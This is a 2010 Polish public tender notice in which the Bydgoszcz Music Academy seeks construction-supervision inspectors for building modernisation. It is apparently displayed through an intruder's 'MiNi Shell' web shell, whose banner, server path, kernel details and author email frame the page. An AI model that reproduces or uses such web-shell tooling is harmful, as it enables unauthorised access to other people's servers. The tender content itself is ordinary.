Devil Killer Is Here MiNi Shell
MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20100805/
Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Current File : /home/vmanager/www/common/web/tenders/20100805/211305-N-2010.html
<p class="kh_header"><b>Bydgoszcz: Pełnienie funkcji inspektora nadzoru inwestorskiego przy realizacji zadań inwestycyjnych Modernizacja obiektu Akademii Muzycznej w Bydgoszczy dla celów dydaktycznych wraz z pierwszym wyposażeniem oraz Roboty  odtworzeniowo-konserwatorskie  zabytkowej sali koncertowej  oraz  elewacji  zabytkowego  budynku  z  przywróceniem  jej XIX-wiecznego  stanu  zgodnie  z  zatwierdzonym   projektem w ramach inwestycji pod nazwą: Modernizacja budynku Akademii Muzycznej im. Feliksa Nowowiejskiego w Bydgoszczy  przy ul. Gdańskiej 20 dla celów dydaktyczno- widowiskowo- koncertowych.</b><br>
<b>Numer ogłoszenia: 211305 - 2010; data zamieszczenia: 05.08.2010</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Akademia Muzyczna im. Feliksa Nowowiejskiego , ul. Słowackiego 7, 85-008 Bydgoszcz, woj. kujawsko-pomorskie, tel. 052 3211142, faks 052 3212350.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.amuz.bydgoszcz.pl     zakładka zamówienia publiczne/usługi</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Uczelnia publiczna.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Pełnienie funkcji inspektora nadzoru inwestorskiego przy realizacji zadań inwestycyjnych Modernizacja obiektu Akademii Muzycznej w Bydgoszczy dla celów dydaktycznych wraz z pierwszym wyposażeniem oraz Roboty  odtworzeniowo-konserwatorskie  zabytkowej sali koncertowej  oraz  elewacji  zabytkowego  budynku  z  przywróceniem  jej XIX-wiecznego  stanu  zgodnie  z  zatwierdzonym   projektem w ramach inwestycji pod nazwą: Modernizacja budynku Akademii Muzycznej im. Feliksa Nowowiejskiego w Bydgoszczy  przy ul. Gdańskiej 20 dla celów dydaktyczno- widowiskowo- koncertowych..</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia jest pełnienie funkcji inspektora nadzoru inwestorskiego przy realizacji 2 zadań inwestycyjnych w branżach w branżach sanitarnej oraz elektrycznej i niskoprądowej jako zespół inspektorów nadzoru inwestorskiego (branżowego - instalacje). Do zadań inspektorów należy:
.nadzorowanie robót zgodnie z Uustawą z dnia 7 lipca 1994 r. - Prawo budowlane (Dz.U. z 2006 r. Nr 156, poz. 1118 z późn. zm.), a w  szczególności zgodnie z jej art. 25 i art. 26;
.reprezentowanie zamawiającego na budowie przez sprawowanie kontroli zgodności jej realizacji z umową, projektem i pozwoleniem na budowę, przepisami oraz zasadami sztuki budowlanej;
.sprawdzanie jakości wykonywanych robót i wbudowanych wyrobów budowlanych, a w szczególności zapobieganie zastosowaniu wyrobów budowlanych wadliwych i niedopuszczonych do stosowania w budownictwie;
.sprawdzanie i odbiór robót budowlanych ulegających zakryciu lub zanikających, uczestniczenie w próbach i odbiorach technicznych instalacji, urządzeń technicznych, rozruchach technologicznych urządzeń technicznych oraz przygotowanie i udział w czynnościach odbioru gotowych obiektów budowlanych lub ich części i przekazywanie ich do użytkowania;
.potwierdzanie faktycznie wykonanych robót oraz usunięcia ich wad, a także, na żądanie zamawiającego, kontrolowanie rozliczeń budowy w zakresie nadzorowanej branży;
.przybycie na każde wezwanie zamawiającego i wykonawcy robót;
.udzielanie, na żądanie zamawiającego, informacji o stanie realizacji robót;
.udział w konstruowaniu zakresów robót oraz harmonogramów inwestorskich;
.sprawdzanie przedmiarów i obmiarów robót oraz kosztorysów inwestorskich i powykonawczych;
.dokonywanie odbioru robót w trybie przewidzianym umową o roboty budowlane oraz wg procedur opisanych w STW i ORB przez dokonanie wpisu do dziennika budowy;
.wykonywanie innych czynności związanych z pełnionym nadzorem inwestorskim w trybie i na warunkach uzgodnionych z zamawiającym;
ZADANIE INWESTYCYJNE I
 Modernizacja obiektu Akademii Muzycznej w Bydgoszczy dla celów dydaktycznych wraz z pierwszym wyposażeniem Etap II B  w ramach inwestycji pod nazwą:
Modernizacja budynku Akademii Muzycznej im. Feliksa Nowowiejskiego w Bydgoszczy  przy ul. Gdańskiej 20 dla celów dydaktyczno- widowiskowo- koncertowych.
Zakres nadzorowanych robót instalacyjnych:1)	Instalacja centralnego ogrzewania, 
2)Instalacja wody lodowej, 3)Instalacja ciepła technologicznego, 4	Instalacja wod-kan, 5) Instalacja wentylacji i klimatyzacji, 6)Instalacja AKPiA wentylacji i klimatyzacji
Zakres nadzorowanych robót instalacji elektrycznych:a)	montaż rozdzielnic, 
b)układanie tras kablowych, c) układanie przewodów i kabli, d)montaż osprzętu instalacyjnego, e) montaż opraw, f)	układanie instalacji odgromowej, g)pomiary i badania instalacji.
Zakres nadzorowanych robót elektrycznych słaboprądowych (niskoprądowych):
1)Roboty teletechniczne i elektryczne w zakresie instalacji: a)multimedialnej, 
b)nagłaśniającej, c) sieci strukturalnej, d)systemu sygnalizacji pożaru, e)systemu sygnalizacji włamania i napadu,f) telewizji dozorowej CCTV,g)tras kablowych, 
h)videodomofonowej.
ZADANIE INWESTYCYJNE II
Roboty  odtworzeniowo-konserwatorskie  zabytkowej sali koncertowej  oraz  elewacji  zabytkowego  budynku  z  przywróceniem  jej XIX-wiecznego  stanu  zgodnie  z  zatwierdzonym   projektem- część 1; Etap III B w ramach inwestycji pod nazwą: Modernizacja budynku Akademii Muzycznej w Bydgoszczy przy  ul. Gdańskiej 20 dla celów dydaktyczno-widowiskowo-koncertowych
Zakres nadzorowanych robót elektrycznych słaboprądowych (niskoprądowych):
1)INSTALACJE  ELEKTRYCZNE Zakres branży obejmuje wykonanie  oprzewodowania i tablic elektrycznych  oraz  dostawę  i  montaż  osprzętu  oświetleniowego  i  gniazd  wtykowych w pom. -1/21 i -1/22 zgodnie z projektem. W powyższy zakres wchodzi również, rozprowadzenie przewodów z piwnicy na parter i  na poddasze do zasilania urządzeń scenicznych oraz do zasilania  aparatury nagłaśniającej sali koncertowej z wykonaniem koniecznych bruzd i przy użyciu rusztowań kolumnowych.

2) INSTALACJE ELEKTRYCZNE NISKOPRĄDOWE Powyższa  branża  obejmuje  następujące  instalacje, do  wykonania :
-  w  pom.     -1/21 i -1/22 : 
.system sygnalizacji  włamania  i  napadu;. system  nagłaśniający;. system  sygnalizacji  pożaru;
-  na poddaszu :	system  sygnalizacji  pożaru.</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p>

<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 71.52.00.00-9.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 31.07.2012.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> Zamawiajacy nie wymaga wniesienia wadium.</p>
<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Warunek nie wymaga opisu.</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający uzna, że wykonawca spełnia warunek udziału w postępowaniu, jeżeli wykaże się usługami nadzoru inwestorskiego (budowlanego) w branżach stanowiących przedmiot zamówienia (tj. sanitarnej i elektrycznej) obejmujących swoim zakresem wymagane  w danej branży instalacje. Przez jedną usługę zamawiający rozumie wykonanie nadzoru inwestorskiego w danej branży obejmującej swoim zakresem instalacje występujące w przedmiocie zamówienia, a także kilka usług obejmujących łącznie poszczególne instalacje dla danej branży.</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Warunek nie wymaga opisu.</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający uzna, że wykonawca spełnia warunek udziału w postępowaniu jeżeli wykaże iż dysponuje (w każdym zadaniu inwestycyjnym) osobami  posiadającymi uprawnienia budowlane do pełnienia  samodzielnych funkcji technicznych w budownictwie w zakresie kierowania robotami budowlanymi w specjalności:
- instalacyjnej w zakresie sieci, instalacji i urządzeń: cieplnych, wentylacyjnych, gazowych, wodociągowych i kanalizacyjnych,
- instalacyjnej w zakresie sieci, instalacji i urządzeń elektrycznych i energetycznych,
lub odpowiadające im równoważne uprawnienia w tych specjalnościach, które zostały wydane na podstawie wcześniej obowiązujących przepisów zgodnie z przepisami ustawy z dnia 7 lipca 1994 r. - Prawo budowlane, (Dz. U z 2006 r. Nr 156, poz. 1118 ze zm.) oraz rozporządzeniem Ministra Transportu i Budownictwa z dnia 28 kwietnia 2006 r. w sprawie samodzielnych funkcji technicznych w budownictwie (Dz. U. z 2006, Nr 83, poz. 578 z późn. zm.).
  Wymagane osoby muszą przynależeć do właściwej izby samorządu zawodowego, zgodnie z ustawą z dnia 15 grudnia 2000 r. o samorządach zawodowych architektów, inżynierów budownictwa oraz urbanistów ( Dz. U. z 2001 r. Nr 5 poz. 42 ze zm.)</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Warunek nie wymaga opisu.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, dostaw lub usług  w zakresie niezbędnym do wykazania spełniania warunku wiedzy i doświadczenia w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, z podaniem ich wartości, przedmiotu, dat wykonania i odbiorców, oraz załączeniem dokumentu potwierdzającego, że te dostawy lub usługi zostały wykonane lub są wykonywane należycie</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych dla wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami</li>

<li  style="margin-bottom: 12px;">oświadczenie, że osoby, które będą uczestniczyć w wykonywaniu zamówienia, posiadają wymagane uprawnienia, jeżeli ustawy nakładają obowiązek posiadania takich uprawnień</li>

</ul></li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru, jeżeli odrębne przepisy wymagają wpisu do rejestru, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert, a w stosunku do osób fizycznych oświadczenie w zakresie art. 24 ust. 1 pkt 2 ustawy</li>

<li style="margin-bottom: 12px;">wykonawca powołujący się przy wykazywaniu spełniania warunków udziału w postępowaniu na potencjał innych podmiotów, które będą brały udział w realizacji części zamówienia, przedkłada także dokumenty dotyczące tego podmiotu w zakresie wymaganym dla wykonawcy, określonym w pkt III.4.2.</li>

</ul></li>
<li>
<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

</ul></li>
</ul>
<p class="bold">III.6) INNE DOKUMENTY</p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>Pełnomcnictwo
a) w przypadku podmiotów występujących wspólnie,upoważniające do reprezentowania ich w postępowaniu o udzielenie zamówienia publicznego albo reprezentowania w postępowaniu i zawarcia umowy w sprawie zamówienia publicznego
 lub
b) osób upoważnionych do  reprezentowania wykonawcy</p>
<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>tak</p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>1.1.terminu realizacji umowy z powodu : 
1.1.1przerw w realizacji robót budowlanych powstałych z przyczyn nie leżących po stronie Wykonawcy;
1.1.2.zlecenia przez Zamawiającego wykonania zamówień dodatkowych, jeżeli terminy ich powierzenia, rodzaj lub zakres uniemożliwiają dotrzymanie pierwotnego terminu zakończenia realizacji umowy; 
1.1.3.konieczności uzyskania niemożliwych do przewidzenia na etapie planowania inwestycji: zgód lub pozwoleń osób trzecich lub właściwych organów; 
1.1.4.wstrzymania przez Zamawiającego lub upoważnione do tego podmioty i organy, realizacji prac objętych umową, co uniemożliwia terminowe zakończenie realizacji przedmiotu umowy, 
1.2.zmian kluczowego personelu Wykonawcy i Zamawiającego, pod warunkiem, iż osoby zmieniające będą posiadać, co najmniej kwalifikacje i uprawnienia budowlane, takie jak określone w warunkach udziału w postępowaniu 
którego rozstrzygnięcie skutkowało zawarciem niniejszej umowy. Powyższe dotyczy w szczególności personelu wymienionego w §5 umowy.
1.3 zmian osób odpowiedzialnych za kontakty  
1.4.zmian podwykonawców 
1.5.zmiany zakresu przedmiotu umowy lub rezygnacji z części prac jeżeli będzie to uzasadnione dla prawidłowej realizacji przedmiotu umowy lub uzyskania założonego efektu,
1.6.zmiany wynagrodzenia w przypadku zmiany w trakcie obowiązywania niniejszej umowy stawki podatku od towarów i usług, 
1.7.zmiana sposobu rozliczenia wynagrodzenia z Wykonawca, w przypadku modyfikacji sposobu rozliczania projektu przez instytucje finansujące (Urząd Marszałkowski Województwa Kujawsko - Pomorskiego w Toruniu  Ministerstwo Kultury i Dziedzictwa Narodowego oraz Zamawiający,),
1.8.zaistniałych omyłek pisarskich lub rachunkowych, 
1.9 zmiany powszechnie obowiązujących przepisów prawa w zakresie mającym wpływ na realizację przedmiotu zamówienia, 
1.10.powstania rozbieżności lub niejasności w rozumieniu pojęć użytych w umowie, których nie będzie można usunąć w inny sposób, a zmiana będzie umożliwiać usunięcie rozbieżności i doprecyzowanie umowy w celu jednoznacznej interpretacji jej zapisów przez Strony.
1.11.zmiana danych identyfikacyjnych -  zmiana nazw, siedzib stron umowy, numerów kont bankowych i innych. 
1.12.zmiany w zapisach umowy, w tym w szczególności dotyczących płatności i rozliczeń, związane z coroczną zmianą terminarza wypłaty środków europejskich przez Bank Gospodarstwa Krajowego ( BGK), 
1.3.innych okoliczności, które nie były znane w chwili zawarcia umowy, a wprowadzone zmiany do umowy są korzystne dla Zamawiającego, w tym formy prawnej, nazwy, adresu</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.amuz.bydgoszcz.pl   zakładka zamówienia publiczne/usługi<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Dział Administracyjno - Gospodarczy ul. Słowackiego 7, 85-008 Bydgoszcz, pok. 016..</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 13.08.2010 godzina 12:30, miejsce: Ofertę należy złożyć w siedzibie Zamawiającego w Bydgoszczy ul. J. Słowackiego 7, pokój nr 18 ( Sekretariat Kanclerza)..</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> Zadanie inwestycyjne  I
Projekt współfinansowany z Europejskiego Funduszu Rozwoju Regionalnego w ramach Regionalnego Programu Operacyjnego Województwa Kujawsko - Pomorskiego na lata 2007 - 2013 
Projekt  dofinansowany ze środków Ministerstwa Kultury i Dziedzictwa Narodowego
Zadanie inwestycyjne  II
Planowane współfinansowanie projektu z Europejskiego Funduszu Rozwoju Regionalnego w ramach Regionalnego Programu Operacyjnego Województwa Kujawsko - Pomorskiego na lata 2007 - 2013 
Planowane dofinansowanie projektu z Ministerstwa Kultury i Dziedzictwa Narodowego.</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>
Creat By MiNi SheLL
Email: jattceo@gmail.com